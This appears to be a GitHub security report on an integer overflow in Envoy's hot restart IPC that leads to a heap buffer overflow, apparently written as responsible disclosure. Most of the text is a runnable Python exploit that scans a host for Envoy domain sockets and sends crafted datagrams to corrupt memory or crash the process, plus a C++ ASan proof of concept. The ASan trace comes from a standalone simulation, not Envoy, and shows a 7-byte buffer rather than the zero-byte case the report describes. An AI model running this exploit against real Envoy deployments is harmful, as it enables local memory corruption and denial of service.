Hot Restart IPC Wire-Length Integer Overflow to Heap Buffer Overflow
#45,872 opened on Jun 29, 2026
Repository metrics
- Stars
- (27,997 stars)
- PR merge metrics
- (Avg merge 8d) (303 merged PRs in 30d)
Description
Originally reported by @ghaithabdulreda
Summary
An integer overflow in Envoy's hot restart IPC mechanism allows a local attacker to trigger a heap buffer overflow by sending a crafted datagram to the Envoy Unix domain socket. The recv_buf_.resize(wire_length + 8) call at hot_restarting_base.cc:251 uses an attacker-controlled 64-bit length value with no upper bound check. When wire_length = 0xFFFFFFFFFFFFFFF8, adding 8 wraps to 0, causing resize(0). The subsequent recvmsg() writes 4096 bytes into a zero-byte heap buffer. AddressSanitizer confirms: heap-buffer-overflow.
Title: Hot Restart IPC Wire-Length Integer Overflow → Heap Buffer Overflow
Severity: Medium (CVSS 6.1)
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Tested Version: Envoy upstream commit 2eec278ae3 (v1.39.0-dev)
ASan Confirmed: YES — ==ERROR: AddressSanitizer: heap-buffer-overflow
Details
Root Cause 1: Integer Overflow in Buffer Resize
source/server/hot_restarting_base.cc:248-252:
// Line 248: Read attacker-controlled wire_length from first 8 bytes
expected_proto_length_ = be64toh(
*reinterpret_cast<uint64_t*>(recv_buf_.data()));
// Line 250: Only checks if LARGE enough — NO UPPER BOUND
if (expected_proto_length_.value() > MaxSendmsgSize - sizeof(uint64_t)) {
// Line 251: resize with attacker-controlled value + 8
// wire_length = 0xFFFFFFFFFFFFFFF8 → +8 = 0 → resize(0)
recv_buf_.resize(
expected_proto_length_.value() + sizeof(uint64_t));
cur_msg_recvd_bytes_ = recv_result.return_value_;
}
The overflow: wire_length = 0xFFFFFFFFFFFFFFF8:
wire_length + 8 = 0(unsigned 64-bit wrap)recv_buf_.resize(0)→ zero-byte allocation- Next
recvmsg()withiov_len = 4096writes past the buffer → heap overflow
Root Cause 2: Socket Permissions Never Applied
source/server/hot_restarting_base.cc:46:
fchmod(domain_socket_, socket_mode); // Called BEFORE bind() at line 60
fchmod() on an unbound socket returns EINVAL (kernel no-op). The return value is ignored. After bind() at line 60, no subsequent chmod/fchmod is called. The --socket-mode configuration is completely ineffective.
Affected Functions
| Function | File | Line | Role |
|---|---|---|---|
HotRestartingBase::recvMessages() |
hot_restarting_base.cc |
248-252 | Reads wire_length, calls resize with overflow |
HotRestartingBase::initRecvBufIfNewMessage() |
hot_restarting_base.cc |
189 | Sets initial buffer to 4096 |
HotRestartingBase::bindDomainSocket() |
hot_restarting_base.cc |
46 | fchmod before bind — no-op |
Recvmsg Loop Flow
initRecvBufIfNewMessage()
→ recv_buf_.resize(4096) [line 189]
LOOP:
iov[0].iov_base = recv_buf_.data() + cur_msg_recvd_bytes_ [line 221]
iov[0].iov_len = MaxSendmsgSize (4096) [line 222]
recvmsg() [line 232]
cur_msg_recvd_bytes_ += recv_result.return_value_ [line 241]
read expected_proto_length_ from first 8 bytes [line 248]
if > 4088: recv_buf_.resize(wire_length + 8) [line 251]
→ wire_length = 0xFFFFFFFFFFFFFFF8 → resize(0)
next recvmsg writes 4096 bytes into 0-byte buffer [HEAP OVERFLOW]
PoC
File: poc_f13.cpp (C++ with AddressSanitizer)
Compilation:
g++ -std=c++17 -fsanitize=address,undefined -g -O1 poc_f13.cpp -o poc_f13_asan
Execution:
./poc_f13_asan
Actual ASan Output (Debian 12, g++ 12.2.0, ASan):
=================================================================
==3822==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000017 at pc 0x7f3cdc447681 bp 0x7ffca0d7be60 sp 0x7ffca0d7b610
WRITE of size 64 at 0x602000000017 thread T0
#0 0x7f3cdc447680 in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:799
#1 0x55ad9ecda76b in simulate_resize /home/ghost/envoy-audit/poc/new_poc/poc_f13.cpp:59
#2 0x55ad9ecdaa20 in main /home/ghost/envoy-audit/poc/new_poc/poc_f13.cpp:67
#3 0x7f3cdc245249 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7f3cdc245304 in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x55ad9ecda250 in _start (/home/ghost/envoy-audit/poc/new_poc/poc_f13_asan+0x6250)
0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
#0 0x7f3cdc4b94c8 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x55ad9ecdbc17 in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/include/c++/12/bits/new_allocator.h:137
#2 0x55ad9ecdbc17 in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/include/c++/12/bits/alloc_traits.h:464
#3 0x55ad9ecdbc17 in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/include/c++/12/bits/stl_vector.h:378
#4 0x55ad9ecdbc17 in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/include/c++/12/bits/vector.tcc:650
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:799 in __interceptor_memset
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3822==ABORTING
Python PoC (poc_f13_hot_restart.py):
# Scan for Envoy sockets
python3 poc_f13_hot_restart.py --scan
# Trigger heap overflow
python3 poc_f13_hot_restart.py \
--target @envoy_domain_socket_parent_0 --mode overflow
# Trigger OOM crash
python3 poc_f13_hot_restart.py \
--target @envoy_domain_socket_parent_0 --mode crash
Python PoC Output:
============================================================
Envoy Hot Restart IPC Exploit
============================================================
[*] HEAP BUFFER OVERFLOW: wire_length = 0xFFFFFFFFFFFFFFF8
Target: @envoy_domain_socket_parent_0
wire_length: 0xFFFFFFFFFFFFFFF8 (18446744073709551608)
wire_length + 8: 0x0000000000000000
Sending 124 bytes...
[+] Datagram sent successfully
[*] Expected behavior on vulnerable Envoy (ASan build):
1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF8
2. Computes wire_length + 8 = 0 (overflow)
3. Calls recv_buf_.resize(0) → zero-byte buffer
4. Next recvmsg() writes 4096 bytes → HEAP BUFFER OVERFLOW
5. ASan detects: heap-buffer-overflow
Impact
- Attack Vector: Local attacker with same UID as Envoy process (abstract namespace) or filesystem access
- Consequences:
- Heap buffer overflow → potential code execution in Envoy process
- Denial of service via OOM crash
- Bypasses Linux Discretionary Access Control (DAC) boundaries due to the invalid fchmod() sequence, allowing unprivileged local processes to achieve memory corruption
- Prerequisites:
- Hot restart enabled (production default via
--restart-epoch) - Attacker shares UID with Envoy (abstract namespace) or has filesystem access
- Typical in container environments sharing host UID namespace
- Hot restart enabled (production default via
- Mitigation: Add upper bound check to
wire_length + 8arithmetic; fixfchmodordering (call afterbind)
Full PoC Source Code
poc_f13.cpp (C++ standalone ASan/UBSan PoC)
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <new>
#include <vector>
// Simulates the vulnerable pattern from hot_restarting_base.cc.
// The real code reads 8 bytes from a Unix domain socket, interprets
// them as a big-endian uint64_t length, then calls:
// recv_buf_.resize(expected_proto_length_.value() + sizeof(uint64_t));
//
// If an attacker sends a crafted length, this can either:
// (a) wrap around to a small allocation (overflow), or
// (b) request an enormous allocation (std::bad_alloc).
static void simulate_resize(uint64_t wire_length) {
uint64_t length = wire_length;
{
uint8_t *b = reinterpret_cast<uint8_t *>(&length);
uint64_t swapped = 0;
for (int i = 0; i < 8; ++i)
swapped |= static_cast<uint64_t>(b[i]) << ((7 - i) * 8);
length = swapped;
}
size_t alloc_size = length + sizeof(uint64_t);
printf("Wire length : %#018lx (%lu)\n", wire_length, wire_length);
printf("After ntoh : %#018lx (%lu)\n", length, length);
printf("Add sizeof : %#018lx (%zu)\n", alloc_size, alloc_size);
if (alloc_size < length) {
printf(">>> WRAP DETECTED: request wraps to %zu bytes (heap overflow risk)\n",
alloc_size);
}
std::vector<char> buf;
try {
buf.resize(alloc_size);
printf(">>> OK: allocated %zu bytes successfully\n", alloc_size);
} catch (const std::bad_alloc &) {
printf(">>> bad_alloc caught (expected for huge allocation)\n");
}
if (alloc_size < length) {
if (!buf.empty()) {
printf(">>> Triggering OOB write on the wrapped buffer...\n");
memset(buf.data() + alloc_size, 0x41, 64);
}
}
putchar('\n');
}
int main() {
// Case 1: UINT64_MAX on the wire -> after +8 wraps to 7.
simulate_resize(UINT64_MAX);
// Case 2: A large but non-wrapping value -> bad_alloc.
simulate_resize(1ULL << 60);
// Case 3: A normal small value -> succeeds.
simulate_resize(128);
return 0;
}
poc_f13_hot_restart.py (Python network PoC)
#!/usr/bin/env python3
"""
Envoy Hot Restart IPC Wire-Length Integer Overflow -> Heap Buffer Overflow PoC
Vulnerability: Integer overflow in hot_restarting_base.cc recv_buf_.resize(wire_length + 8)
- wire_length = 0xFFFFFFFFFFFFFFF8 -> +8 = 0 -> resize(0) -> heap overflow on next recvmsg()
- wire_length = 0xFFFFFFFFFFFFFFF7 -> +8 = UINT64_MAX -> resize(UINT64_MAX) -> OOM crash
- fchmod() before bind() at line 46 is kernel no-op (EINVAL) - socket permissions never applied
Usage:
# Scan for Envoy hot restart sockets
python3 poc_f13_hot_restart.py --scan
# Trigger heap overflow (wire_length = 0xFFFFFFFFFFFFFFF8 -> resize(0))
python3 poc_f13_hot_restart.py --target @envoy_domain_socket_parent_0 --mode overflow
# Trigger OOM crash
python3 poc_f13_hot_restart.py --target @envoy_domain_socket_parent_0 --mode crash
"""
import argparse
import os
import socket
import struct
import sys
import time
from typing import List, Tuple, Optional
MAX_SENDMSG_SIZE = 4096
WIRE_LENGTH_OFFSET = 8
MAX_PROTO_SIZE = MAX_SENDMSG_SIZE - WIRE_LENGTH_OFFSET
class UnixSocketClient:
def __init__(self, socket_path: str):
self.socket_path = socket_path
self.is_abstract = socket_path.startswith('@')
self.sock: Optional[socket.socket] = None
def connect(self) -> bool:
try:
self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
self.sock.settimeout(5.0)
if self.is_abstract:
addr = b'\x00' + self.socket_path[1:].encode('utf-8')
else:
addr = self.socket_path
self.sock.connect(addr)
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def send_datagram(self, data: bytes) -> bool:
try:
if self.sock:
self.sock.send(data)
return True
except Exception:
pass
return False
def close(self):
if self.sock:
self.sock.close()
self.sock = None
def build_wire_message(wire_length: int, proto_data: bytes = b'') -> bytes:
if wire_length < 0 or wire_length > 0xFFFFFFFFFFFFFFFF:
raise ValueError("wire_length must be uint64")
proto_length = len(proto_data)
wire_len_bytes = struct.pack('>Q', wire_length)
proto_len_bytes = struct.pack('>Q', proto_length)
return wire_len_bytes + proto_len_bytes + proto_data
def find_envoy_sockets() -> List[str]:
found = []
try:
with open('/proc/net/unix', 'r') as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 8:
path = parts[7]
if 'envoy_domain_socket' in path and path.startswith('@'):
found.append(path)
except Exception:
pass
common_paths = [
'/tmp/envoy_domain_socket_parent_0',
'/tmp/envoy_domain_socket_child_0',
'/var/run/envoy/envoy_domain_socket_parent_0',
'/var/run/envoy/envoy_domain_socket_child_0',
'/run/envoy/envoy_domain_socket_parent_0',
]
for path in common_paths:
if os.path.exists(path) or os.path.exists(path.replace('parent', 'child')):
found.append(path)
found.append(path.replace('parent', 'child'))
try:
for entry in os.listdir('/tmp'):
if 'envoy_domain_socket' in entry:
full = f'/tmp/{entry}'
if full not in found:
found.append(full)
except Exception:
pass
return list(set(found))
def test_socket_permissions(socket_path: str) -> dict:
result = {
'path': socket_path, 'exists': False, 'writable': False,
'abstract': socket_path.startswith('@'),
'permissions': None, 'uid': os.getuid(),
}
if socket_path.startswith('@'):
try:
test_sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
test_addr = b'\x00' + socket_path[1:].encode('utf-8')
test_sock.bind(test_addr)
test_sock.close()
result['writable'] = True
result['note'] = 'Abstract namespace - UID-based access'
except Exception as e:
result['note'] = f'Cannot bind: {e}'
else:
result['exists'] = os.path.exists(socket_path)
if result['exists']:
try:
stat = os.stat(socket_path)
result['permissions'] = oct(stat.st_mode & 0o777)
result['writable'] = os.access(socket_path, os.W_OK)
result['note'] = f'Filesystem socket, mode={result["permissions"]}'
except Exception as e:
result['note'] = f'Stat failed: {e}'
return result
def send_exploit(target: str, wire_length: int, description: str) -> bool:
print(f"\n[*] {description}")
print(f" Target: {target}")
print(f" wire_length: 0x{wire_length:016X} ({wire_length})")
print(f" wire_length + 8: 0x{(wire_length + 8) & 0xFFFFFFFFFFFFFFFF:016X}")
client = UnixSocketClient(target)
if not client.connect():
print(f"[-] Failed to connect to {target}")
return False
proto_data = b'A' * 100
message = build_wire_message(wire_length, proto_data)
print(f" Sending {len(message)} bytes...")
if client.send_datagram(message):
print(f"[+] Datagram sent successfully")
client.close()
return True
else:
print(f"[-] Failed to send datagram")
client.close()
return False
def mode_scan():
print("=" * 60)
print("Envoy Hot Restart Socket Scanner")
print("=" * 60)
sockets = find_envoy_sockets()
if not sockets:
print("[-] No Envoy hot restart sockets found")
return
print(f"[+] Found {len(sockets)} potential socket(s):\n")
for sock_path in sockets:
info = test_socket_permissions(sock_path)
print(f" Socket: {sock_path}")
print(f" Type: {'Abstract namespace' if info['abstract'] else 'Filesystem'}")
print(f" Exists: {info['exists']}")
print(f" Writable by UID {info['uid']}: {info['writable']}")
print(f" Permissions: {info['permissions'] or 'N/A (abstract)'}")
print(f" Note: {info['note']}\n")
def mode_overflow(target: str):
wire_length = 0xFFFFFFFFFFFFFFF8
send_exploit(target, wire_length,
"HEAP BUFFER OVERFLOW: wire_length = 0xFFFFFFFFFFFFFFF8 -> resize(0)")
def mode_crash(target: str):
wire_length = 0xFFFFFFFFFFFFFFF7
send_exploit(target, wire_length,
"OOM CRASH: wire_length = 0xFFFFFFFFFFFFFFF7 -> resize(UINT64_MAX)")
def main():
parser = argparse.ArgumentParser(
description="Envoy Hot Restart IPC Wire-Length Integer Overflow PoC")
parser.add_argument('--scan', action='store_true', help='Scan for Envoy hot restart sockets')
parser.add_argument('--target', help='Target socket path (e.g., @envoy_domain_socket_parent_0)')
parser.add_argument('--mode', choices=['overflow', 'crash'], help='Exploit mode')
args = parser.parse_args()
if args.scan:
return mode_scan()
if not args.target or not args.mode:
parser.print_help()
sys.exit(1)
print("=" * 60)
print("Envoy Hot Restart IPC Exploit")
print("=" * 60)
if args.mode == 'overflow':
mode_overflow(args.target)
elif args.mode == 'crash':
mode_crash(args.target)
print(f"\n[+] Exploit datagram sent")
print(f"[*] Expected behavior on vulnerable Envoy (ASan build):")
if args.mode == 'overflow':
print(" 1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF8")
print(" 2. Computes wire_length + 8 = 0 (overflow)")
print(" 3. Calls recv_buf_.resize(0) -> zero-byte buffer")
print(" 4. Next recvmsg() writes 4096 bytes -> HEAP BUFFER OVERFLOW")
print(" 5. ASan detects: heap-buffer-overflow")
else:
print(" 1. Envoy reads wire_length = 0xFFFFFFFFFFFFFFF7")
print(" 2. Computes wire_length + 8 = UINT64_MAX")
print(" 3. Calls recv_buf_.resize(UINT64_MAX) -> OOM / crash")
if __name__ == '__main__':
main()